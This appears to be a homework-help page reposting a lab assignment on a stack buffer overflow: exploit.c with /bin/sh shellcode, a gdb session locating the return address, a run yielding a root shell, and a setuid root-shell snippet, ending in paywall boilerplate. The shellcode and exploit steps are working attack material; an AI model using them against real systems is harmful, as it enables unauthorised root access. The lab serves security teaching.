Question: Task 1 . Exploiting the Vulnerability We provide you with a partially completed exploit code called exploit.c . The goal of this code is

Task1. Exploiting the Vulnerability
We provide you with a partially completed exploit code called "exploit.c". The goal of this code is to construct contents for "badfile". In the code, the shellcode is given to you. You need to develop the rest.
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include
#include
#include
char shellcode[]=
"\x31\xc0"/* xorl %eax,%eax */
"\x50"/* pushl %eax */
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3"/* movl %esp,%ebx */
"\x50"/* pushl %eax */
"\x53"/* pushl %ebx */
"\x89\xe1"/* movl %esp,%ecx */
"\x99"/* cdq */
"\xb0\x0b"/* movb $0x0b,%al */
"\xcd\x80"/* int $0x80*/
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90(NOP instruction)*/
memset(&buffer, 0x90,517);
/* You need to fill the buffer with appropriate contents here */
/* strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); */
/*strcpy(buffer+100,shellcode); */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile","w");
fwrite(buffer,517,1, badfile);
fclose(badfile);
}
To beginning the attack, we need the address of shellcode.
seed@ubuntu:~/Desktop$ gdb --quiet stack
Reading symbols from /home/seed/Desktop/stack...(no debugging symbols found)...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x080484a3<+0>: push %ebp
0x080484a4<+1>: mov %esp,%ebp
0x080484a6<+3>: and $0xfffffff0,%esp
0x080484a9<+6>: sub $0x220,%esp
0x080484af <+12>: mov $0x80485f0,%edx
0x080484b4<+17>: mov $0x80485f2,%eax
0x080484b9<+22>: mov %edx,0x4(%esp)
0x080484bd <+26>: mov %eax,(%esp)
0x080484c0<+29>: call 0x80483c0
0x080484c5<+34>: mov %eax,0x21c(%esp)
0x080484cc <+41>: lea 0x17(%esp),%eax
0x080484d0<+45>: mov 0x21c(%esp),%edx
0x080484d7<+52>: mov %edx,0xc(%esp)
0x080484db <+56>: movl $0x205,0x8(%esp)
0x080484e3<+64>: movl $0x1,0x4(%esp)
0x080484eb <+72>: mov %eax,(%esp)
0x080484ee <+75>: call 0x8048370
0x080484f3<+80>: lea 0x17(%esp),%eax
0x080484f7<+84>: mov %eax,(%esp)
0x080484fa <+87>: call 0x8048484
0x080484ff <+92>: movl $0x80485fa,(%esp)
0x08048506<+99>: call 0x8048390
0x0804850b <+104>: mov $0x1,%eax
0x08048510<+109>: leave
0x08048511<+110>: ret
End of assembler dump.
(gdb) b *0x080484af
Breakpoint 1 at 0x80484af
(gdb) r
Starting program: /home/seed/Desktop/stack
Breakpoint 1,0x080484af in main ()
(gdb) i r $esp
esp 0xbffff1500xbffff150
We know esp's value is the beginning address of str, according to strcpy(buffer+100,shellcode);, we can calculate shellcode's address is 0xbffff150(HEX)+100(DEC)=0xbffff1b4(HEX).
We replace \x??\x??\x??\x?? to \xb4\xf1\xff\xbf, because when buffer overflow happened this place's return address will be overwrite.
After we finish the above program, compile and run it. This will generate the contents for "badfile". Then run the vulnerable program stack. If our exploit is implemented correctly, we should be able to get a root shell.
[08/10/201605:56] seed@ubuntu:~/Desktop$ ./exploit
[08/10/201605:56] seed@ubuntu:~/Desktop$ ./stack
# whoami
root
Many commands will behave differently if they are executed as Set-UID root processes, instead of just as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful.
void main()
{
setuid(0); system("/bin/sh");
} please provide screenshot

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Databases Questions!